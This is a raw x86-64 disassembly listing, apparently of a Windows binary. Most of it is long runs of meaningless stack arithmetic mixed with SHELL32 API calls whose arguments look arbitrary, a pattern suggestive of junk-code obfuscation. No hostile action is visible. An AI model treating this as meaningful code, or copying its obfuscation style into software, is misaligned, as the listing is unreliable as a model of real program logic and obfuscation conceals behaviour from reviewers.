movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc9d8]
mov byte [rcx], al
movsx eax, byte [rsp + 0xbf]
movsx ecx, byte [rsp + 0xec]
add eax, ecx
mov byte [rsp + 0xfe], al
movzx eax, byte [0x1402c916b]
mov byte [rsp + 0x2bd], al
mov rax, qword [rsp + 0xfed8]
mov ecx, dword [rsp + 0x71cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6ef8], eax
mov rax, qword [rsp + 0xc290]
mov eax, dword [rax]
mov dword [rsp + 0x7220], eax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xc1b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xfa38]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf358]
mov rcx, qword [rsp + 0xcba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xdc08], rax
movsx eax, word [rsp + 0x1e20]
mov rcx, qword [rsp + 0xe7d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9530]
mov word [rcx], ax
movzx eax, word [0x1402c9120]
mov word [rsp + 0x1e7c], ax
mov rax, qword [rsp + 0xbd08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x25a]
sar eax, cl
mov byte [rsp + 0x2b9], al
lea rax, [rsp + 0x1d7]
mov qword [rsp + 0x104c0], rax
mov rax, qword [rsp + 0xfc88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e68]
shl eax, cl
mov word [rsp + 0x1a9c], ax
mov rax, qword [rsp + 0xe470]
mov rcx, qword [rsp + 0xe490]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6fc0], eax
mov rax, qword [rsp + 0xe398]
mov qword [rsp + 0x104c8], rax
mov rax, qword [rsp + 0xcda8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x71c8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7010], eax
mov rax, qword [rsp + 0xe000]
mov rax, qword [rax]
mov qword [rsp + 0x104d0], rax
lea rax, [rsp + 0x1d54]
mov qword [0x1402c99d0], rax
mov rax, qword [rsp + 0xd020]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd928]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0xe450]
movzx eax, word [rax]
imul eax, eax, 0x262
mov rcx, qword [rsp + 0xecb8]
mov word [rcx], ax
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x104d8], rax
movsx eax, byte [rsp + 0xa1]
movsx ecx, byte [0x1402c90b3]
and eax, ecx
mov rcx, qword [rsp + 0xc1a8]
mov byte [rcx], al
lea rax, [rsp + 0xcf58]
mov qword [rsp + 0x104e0], rax
mov eax, dword [rsp + 0x7178]
mov ecx, dword [rsp + 0x6998]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fc8], eax
mov rax, qword [rsp + 0xbe68]
mov eax, dword [rax]
mov dword [rsp + 0x7224], eax
mov rax, qword [rsp + 0xc920]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc3f8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1680]
movzx ecx, word [rsp + 0x15e0]
sub eax, ecx
mov word [0x1402c7564], ax
movzx eax, byte [rsp + 0x6e]
mov rcx, qword [rsp + 0xf648]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x180], al
movzx eax, word [rsp + 0x1890]
mov word [rsp + 0x1e80], ax
mov rax, qword [rsp + 0xc3d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1df0]
add eax, ecx
mov rcx, qword [rsp + 0xcac8]
mov word [rcx], ax
lea rax, [0x1402c9778]
mov qword [rsp + 0x104e8], rax
mov rax, qword [rsp + 0x10148]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7094]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a30], eax
mov rax, qword [rsp + 0xfcf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c94]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10428]
mov dword [rcx], eax
lea rax, [rsp + 0xe1d8]
mov qword [rsp + 0x104f0], rax
mov rax, qword [rsp + 0xd260]
mov rcx, qword [rsp + 0xc860]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbf80]
mov qword [rcx], rax
lea rax, [rsp + 0x260]
mov qword [0x1402c99d8], rax
mov rax, qword [rsp + 0xd420]
movzx eax, word [rax]
mov word [rsp + 0x1e84], ax
mov rax, qword [0x1402c98d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10060]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1a6], al
movzx eax, word [rsp + 0x1bb8]
movzx ecx, word [rsp + 0x1e58]
sar eax, cl
mov rcx, qword [rsp + 0xbd90]
mov word [rcx], ax
mov rax, qword [rsp + 0xcb40]
movzx eax, byte [rax]
mov byte [rsp + 0x2be], al
mov rax, qword [rsp + 0xeaf0]
mov rcx, qword [rsp + 0xcf00]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xda98], rax
mov rax, qword [rsp + 0xfef0]
mov eax, dword [rax]
mov dword [rsp + 0x7228], eax
mov rax, qword [rsp + 0xdd00]
movzx ecx, al
mov rax, qword [rsp + 0xbe48]
shl rax, cl
mov rcx, qword [rsp + 0xbf58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10290]
mov eax, dword [rax]
mov dword [rsp + 0x722c], eax
movsx eax, word [rsp + 0x1c08]
movsx ecx, word [rsp + 0x1628]
add eax, ecx
mov word [0x1402c9418], ax
movsx eax, byte [rsp + 0x29a]
movsx ecx, byte [reloc.SHELL32.dll_ILRemoveLastID]
add eax, ecx
mov byte [rsp + 0x20b], al
movzx eax, byte [rsp + 0x26e]
mov rcx, qword [rsp + 0xf2d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1b0], al
movzx eax, byte [rsp + 0x10d]
mov byte [rsp + 0x2bf], al
mov rax, qword [rsp + 0xfad0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1790]
imul eax, ecx
mov word [rsp + 0x18d8], ax
lea rax, [rsp + 0x6eec]
mov qword [rsp + 0x104f8], rax
mov rax, qword [rsp + 0xc338]
mov rcx, qword [rsp + 0xc148]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc810]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc750], rax
mov rax, qword [rsp + 0xfd60]
mov qword [rsp + 0x10500], rax
mov rax, qword [rsp + 0xfc28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x229]
sub eax, ecx
mov rcx, qword [rsp + 0x103e8]
mov byte [rcx], al
lea rax, [0x1402c75ac]
mov qword [0x1402c99e0], rax
lea rax, [rsp + 0x1754]
mov qword [rsp + 0x10508], rax
movsx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0xc5b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0xbdf8]
movsx eax, byte [rax]
movsx ecx, byte [reloc.SHELL32.dll_ILFindLastID]
sub eax, ecx
mov byte [rsp + 0x2ad], al
lea rax, [rsp + 0xde10]
mov qword [rsp + 0x10510], rax
mov eax, dword [rsp + 0x6f5c]
mov ecx, dword [rsp + 0x6bac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e30], eax
mov rax, qword [rsp + 0xf420]
mov rax, qword [rax]
mov qword [rsp + 0x10518], rax
mov rax, qword [rsp + 0xce38]
mov ecx, dword [rsp + 0x6c1c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b88], eax
movzx eax, byte [rsp + 0x1fb]
movzx ecx, byte [rsp + 0x2be]
sub eax, ecx
mov rcx, qword [rsp + 0xd378]
mov byte [rcx], al
mov rax, qword [rsp + 0xcd60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc798]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1402c767c], ax
mov rax, qword [rsp + 0xe168]
movzx eax, byte [rax]
mov byte [rsp + 0x2c0], al
mov rax, qword [rsp + 0xfe88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc8a0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe8f0]
mov word [rcx], ax
mov rax, qword [0x1402c9270]
movzx eax, byte [rax]
mov byte [rsp + 0x2c1], al
mov eax, dword [rsp + 0x6bb4]
movzx ecx, al
mov eax, dword [rsp + 0x68d8]
shl eax, cl
mov dword [rsp + 0x6d6c], eax
mov rax, qword [rsp + 0xdc38]
mov qword [rsp + 0x10520], rax
mov rax, qword [rsp + 0xf410]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xdc40], rax
mov eax, dword [rsp + 0x6abc]
mov ecx, dword [rsp + 0x6b44]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d4], eax
lea rax, [rsp + 0x1df0]
mov qword [rsp + 0x10528], rax
mov rax, qword [rsp + 0xdb10]
movzx eax, byte [rax]
mov rcx, qword [0x1402c9960]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c90c5], al
movzx eax, word [rsp + 0x17e0]
mov rcx, qword [rsp + 0xd590]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x19a8], ax
movzx eax, word [rsp + 0x1e44]
mov word [rsp + 0x1e88], ax
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0xc8f8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x28b], al
mov rax, qword [rsp + 0xf0a0]
mov ecx, dword [rsp + 0x6be4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd980]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd838]
mov rax, qword [rax]
mov qword [rsp + 0x10530], rax
mov eax, dword [0x1402c7498]
mov ecx, dword [rsp + 0x6ea0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68b0], eax
mov rax, qword [rsp + 0xf258]
mov rax, qword [rax]
mov qword [rsp + 0x10538], rax
movzx eax, byte [rsp + 0x201]
movzx ecx, byte [rsp + 0x1dd]
sub eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0xc4c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b78]
add eax, ecx
mov rcx, qword [0x1402c9850]
mov word [rcx], ax
movzx eax, word [rsp + 0x1d50]
mov rcx, qword [rsp + 0xcd58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b54], ax
mov rax, qword [rsp + 0xc5b0]
movzx eax, byte [rax]
mov byte [rsp + 0x2c2], al
movzx eax, word [0x1402c74a0]
movzx ecx, word [rsp + 0x16d4]
sar eax, cl
mov word [rsp + 0x195c], ax
lea rax, [rsp + 0x1c30]
mov qword [rsp + 0x10540], rax
mov rax, qword [rsp + 0xf368]
mov rcx, qword [rsp + 0xd1d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xf5e8]
mov qword [rcx], rax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0x10548], rax
mov eax, dword [rsp + 0x71a8]
mov ecx, dword [rsp + 0x7178]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc8f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6ad0]
mov rcx, qword [rsp + 0xe6a0]
mov qword [rsp + 0x10550], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10550]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7168], eax
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0xfa30]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c758b], al
mov rax, qword [rsp + 0xff00]
movzx eax, byte [rax]
mov byte [rsp + 0x2c3], al
movzx eax, word [rsp + 0x1a28]
movzx ecx, word [0x1402c9550]
imul eax, ecx
mov rcx, qword [rsp + 0xda30]
mov word [rcx], ax
movzx eax, word [rsp + 0x1db4]
mov word [rsp + 0x1e8c], ax
mov rax, qword [rsp + 0xe0d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc4]
sub eax, ecx
mov rcx, qword [rsp + 0xc800]
mov word [rcx], ax
mov rax, qword [rsp + 0xbf58]
mov rcx, qword [rsp + 0xf320]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd380], rax
mov rax, qword [rsp + 0xeaa0]
mov qword [rsp + 0x10558], rax
mov eax, dword [rsp + 0x6ac4]
mov ecx, dword [rsp + 0x7124]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fac], eax
mov eax, dword [rsp + 0x6ab4]
mov dword [rsp + 0x7230], eax
lea rax, [rsp + 0x290]
mov qword [0x1402c99e8], rax
mov rax, qword [rsp + 0xd050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1648]
sub eax, ecx
mov word [rsp + 0x19e0], ax
movsx eax, byte [rsp + 0x1c1]
movsx ecx, byte [rsp + 0x293]
imul eax, ecx
mov byte [rsp + 0x7c], al
movzx eax, byte [0x1402c748f]
mov byte [rsp + 0x2c4], al
movsx eax, word [rsp + 0x163c]
movsx ecx, word [rsp + 0x1d64]
and eax, ecx
mov word [rsp + 0x1d74], ax
lea rax, [rsp + 0x6bc0]
mov qword [rsp + 0x10560], rax
mov rax, qword [rsp + 0xcc80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc218]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe60]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6dcc]
mov ecx, dword [rsp + 0x6a48]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xef78]
mov dword [rcx], eax
lea rax, [rsp + 0xded8]
mov qword [rsp + 0x10568], rax
mov rax, qword [0x1402c98b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15f8]
sub eax, ecx
mov word [0x1402c74e0], ax
movzx eax, word [rsp + 0x18cc]
mov rcx, qword [rsp + 0xf5d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a20], ax
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
mov byte [rsp + 0x2c5], al
movzx eax, byte [0x1402c90a4]
movzx ecx, byte [rsp + 0x83]
shl eax, cl
mov byte [rsp + 0x1be], al
mov rax, qword [rsp + 0x10038]
movzx eax, byte [rax]
mov byte [rsp + 0x2c6], al
mov rax, qword [rsp + 0xc138]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7068]
sar eax, cl
mov dword [rsp + 0x71f0], eax
mov rax, qword [rsp + 0xe720]
mov rcx, qword [rsp + 0xd3c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd168], rax
mov rax, qword [rsp + 0xd5b8]
mov eax, dword [rax]
mov dword [rsp + 0x7234], eax
mov rax, qword [rsp + 0xeca8]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc390], rax
mov rax, qword [rsp + 0xdf50]
movzx eax, word [rax]
mov word [0x1402c99f0], ax
mov rax, qword [rsp + 0xd4f8]
movzx eax, word [rax]
mov word [rsp + 0x1e90], ax
mov rax, qword [rsp + 0xfba8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xfee0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbd08]
mov byte [rcx], al
movzx eax, byte [0x1402c751e]
mov rcx, qword [rsp + 0xbc58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2ae], al
movzx eax, word [rsp + 0x1b10]
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0xdac0]
mov ecx, dword [rsp + 0x6e70]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7040], eax
mov rax, qword [rsp + 0xed18]
mov eax, dword [rax]
mov dword [rsp + 0x7238], eax
mov rax, qword [rsp + 0xc920]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd870]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xee18], rax
mov rax, qword [rsp + 0xc5e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfd58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe640]
mov qword [rcx], rax
movsx eax, word [0x1402c75e4]
mov rcx, qword [rsp + 0xe188]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c74c4], ax
movzx eax, byte [rsp + 0x1e7]
mov byte [rsp + 0x2c7], al
mov rax, qword [rsp + 0xe818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc070]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1e7c], ax
lea rax, [rsp + 0x1d2]
mov qword [rsp + 0x10570], rax
movzx eax, byte [rsp + 0x82]
movzx ecx, byte [rsp + 0x1bb]
add eax, ecx
mov byte [rsp + 0x2be], al
mov rax, qword [rsp + 0xcc40]
mov rcx, qword [rsp + 0xe6f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xe770]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf290]
mov eax, dword [rax]
mov dword [rsp + 0x723c], eax
mov rax, qword [rsp + 0xdbc0]
mov rcx, qword [rsp + 0xdf90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc538], rax
mov rax, qword [rsp + 0xc8e8]
mov qword [rsp + 0x10578], rax
mov rax, qword [rsp + 0xe3e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b4c]
sar eax, cl
mov word [0x1402c75bc], ax
movzx eax, byte [rsp + 0x181]
movzx ecx, byte [rsp + 0x297]
xor eax, ecx
mov rcx, qword [rsp + 0xd378]
mov byte [rcx], al
lea rax, [rsp + 0x1ad]
mov qword [rsp + 0x10580], rax
movzx eax, word [rsp + 0x1a6c]
mov rcx, qword [rsp + 0xcee8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1d30], ax
mov rax, qword [rsp + 0xf710]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd2f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x173], al
mov eax, dword [rsp + 0x69a0]
mov dword [rsp + 0x7240], eax
mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0xd270]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xdef8], rax
lea rax, [rsp + 0xfe40]
mov qword [rsp + 0x10588], rax
mov rax, qword [rsp + 0x10260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ce4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xda88]
mov dword [rcx], eax
lea rax, [rsp + 0x1544]
mov qword [0x1402c99f8], rax
movzx eax, word [rsp + 0x18f0]
mov rcx, qword [rsp + 0xcc50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b6c], ax
mov rax, qword [rsp + 0x102b0]
movzx eax, byte [rax]
mov byte [rsp + 0x2c8], al
movzx eax, byte [0x1402c74b7]
movzx ecx, byte [rsp + 0x1e5]
add eax, ecx
mov byte [rsp + 0x12b], al
mov rax, qword [rsp + 0xf760]
movzx eax, word [rax]
mov word [rsp + 0x1e98], ax
mov rax, qword [rsp + 0xd4c0]
mov ecx, dword [rsp + 0x6da4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a10], eax
mov rax, qword [rsp + 0xd498]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd358], rax
lea rax, [rsp + 0xf7d0]
mov qword [rsp + 0x10590], rax
mov rax, qword [rsp + 0xfcf0]
mov rcx, qword [rsp + 0xebb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6fd4], eax
lea rax, [0x1402c74aa]
mov qword [rsp + 0x10598], rax
lea rax, [rsp + 0x1ad]
mov qword [0x1402c9a00], rax
movsx eax, word [rsp + 0x15f8]
mov rcx, qword [rsp + 0xcac8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd830]
mov word [rcx], ax
movzx eax, word [rsp + 0x1ac8]
mov word [rsp + 0x1e9c], ax
movzx eax, word [rsp + 0x1748]
mov rcx, qword [rsp + 0xe818]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdf88]
mov word [rcx], ax
mov rax, qword [rsp + 0xf5b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0f8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xed18]
mov eax, dword [rax]
mov dword [rsp + 0x7244], eax
mov rax, qword [rsp + 0xe758]
mov ecx, dword [rsp + 0x6ffc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7058], eax
mov rax, qword [rsp + 0xdbc0]
mov rax, qword [rax]
mov qword [rsp + 0x105a0], rax
mov rax, qword [rsp + 0xf318]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f3]
shl eax, cl
mov byte [rsp + 0x243], al
mov rax, qword [rsp + 0xd418]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b4c]
sar eax, cl
mov word [0x1402c7654], ax
mov rax, qword [rsp + 0x10348]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcb]
sub eax, ecx
mov rcx, qword [rsp + 0xdc18]
mov byte [rcx], al
lea rax, [0x1402c7542]
mov qword [rsp + 0x105a8], rax
movzx eax, word [rsp + 0x17c4]
movzx ecx, word [rsp + 0x1964]
imul eax, ecx
mov word [rsp + 0x1dd4], ax
mov rax, qword [rsp + 0xf670]
mov qword [rsp + 0x105b0], rax
mov rax, qword [rsp + 0xd460]
mov rcx, qword [rsp + 0x10498]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6ef0], eax
mov rax, qword [rsp + 0xe058]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf5a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc7a0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6d50]
mov dword [rsp + 0x7248], eax
mov rax, qword [0x1402c9640]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1814]
add eax, ecx
mov word [rsp + 0x1a30], ax
mov rax, qword [rsp + 0xc818]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x213]
add eax, ecx
mov byte [0x1402c758e], al
mov rax, qword [rsp + 0xd768]
movzx eax, word [rax]
mov word [rsp + 0x1ea0], ax
movzx eax, word [0x1402c75b4]
mov rcx, qword [rsp + 0xff68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d68], ax
movzx eax, byte [rsp + 0x112]
mov rcx, qword [rsp + 0xf538]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8b], al
mov eax, dword [rsp + 0x6b58]
mov dword [rsp + 0x724c], eax
mov eax, dword [rsp + 0x6c9c]
mov ecx, dword [0x1402c90a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7150], eax
lea rax, [rsp + 0xc278]
mov qword [rsp + 0x105b8], rax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xfff0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xffd8], rax
mov rax, qword [rsp + 0xdff0]
movzx eax, byte [rax]
mov byte [rsp + 0x2c9], al
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
imul eax, eax, 0x6b6
mov rcx, qword [0x1402c9728]
mov word [rcx], ax
movzx eax, byte [rsp + 0x82]
movzx ecx, byte [rsp + 0x1af]
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
or eax, ecx
mov byte [0x1402c748b], al
movzx eax, word [rsp + 0x1550]
mov rcx, qword [rsp + 0xbbc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1538], ax
mov edx, 0xc3
lea rcx, [rsp + 0xba90]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
mov rax, qword [rsp + 0xbbc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbc68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
mov r9d, dword [rsp + 0x68d8]
mov rax, qword [rsp + 0xbb90]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xbbf8]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x68e4]
call fcn.140249af0
mov rax, qword [0x1402c90b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b]
and eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0xbbf0]
mov rcx, qword [rsp + 0xbb70]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb40]
mov qword [rsp + 0x344d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x344d0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xba08], rax
lea rax, [rsp + 0xba18]
mov qword [rsp + 0x20], rax
mov r9d, reloc.SHELL32.dll_ILIsEqual
lea r8, [rsp + 0xbb38]
lea rdx, [rsp + 0xbbf8]
mov rcx, qword [rsp + 0x344d8]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x691c], eax
mov eax, dword [rsp + 0x68e4]
movzx ecx, al
mov eax, dword [rsp + 0x696c]
shl eax, cl
mov rcx, qword [rsp + 0xbbf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbc8]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x1544]
movzx edx, word [rsp + 0x1544]
movzx ecx, word [0x1402c90c0]
call fcn.140249d10
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1554], ax
mov eax, dword [rsp + 0x68e4]
movzx ecx, al
mov eax, dword [0x1402c7498]
shl eax, cl
mov dword [rsp + 0x696c], eax
jmp 0x1402491e5
mov rax, qword [rsp + 0xba68]
movzx r9d, word [rax]
mov rax, qword [rsp + 0xba68]
movzx r8d, word [rax]
mov rax, qword [rsp + 0xba20]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x1544]
call fcn.140249d10
call fcn.140249c00
jmp 0x14024929a
mov rax, qword [rsp + 0xbaa8]
mov r8, qword [rax]
mov rax, qword [rsp + 0xb9b8]
mov rdx, qword [rax]
mov rcx, qword [0x1402c7490]
call fcn.140249c40
mov rax, qword [rsp + 0xbb38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba88]
mov qword [rcx], rax
movzx eax, word [0x1402c90b0]
movzx ecx, word [rsp + 0x152c]
sub eax, ecx
mov word [rsp + 0x1538], ax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
sub eax, ecx
mov byte [0x1402c748a], al
lea rdx, [rsp + 0x68f4]
lea rcx, [rsp + 0xb9d0]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x344e0], rax
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov rcx, qword [rsp + 0xbb50]
mov byte [rcx], al
lea rax, [rsp + 0x54]
mov qword [rsp + 0x20], rax
mov r9d, 0x5f
lea r8, [rsp + 0xbbc0]
lea rdx, [rsp + 0x691c]
mov rcx, qword [rsp + 0xbc40]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x6898], eax
mov rax, qword [rsp + 0xbb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x57]
mov rcx, qword [rsp + 0xbb78]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0xbb40]
mov r8, qword [rax]
mov rax, qword [rsp + 0xbb40]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0xb9b0]
call fcn.140249c40
movsx eax, word [rsp + 0x1544]
movsx ecx, word [rsp + 0x154c]
or eax, ecx
mov rcx, qword [rsp + 0xbaf0]
mov word [rcx], ax
mov eax, dword [rsp + 0x68b0]
mov ecx, dword [rsp + 0x6900]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1530]
movsx ecx, word [rsp + 0x1548]
add eax, ecx
mov word [rsp + 0x1544], ax
mov r8d, SHDoDragDrop
mov rdx, qword [rsp + 0xbc38]
mov rcx, qword [rsp + 0x344e8]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0x344f0], rax
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1534]
sub eax, ecx
mov word [rsp + 0x1540], ax
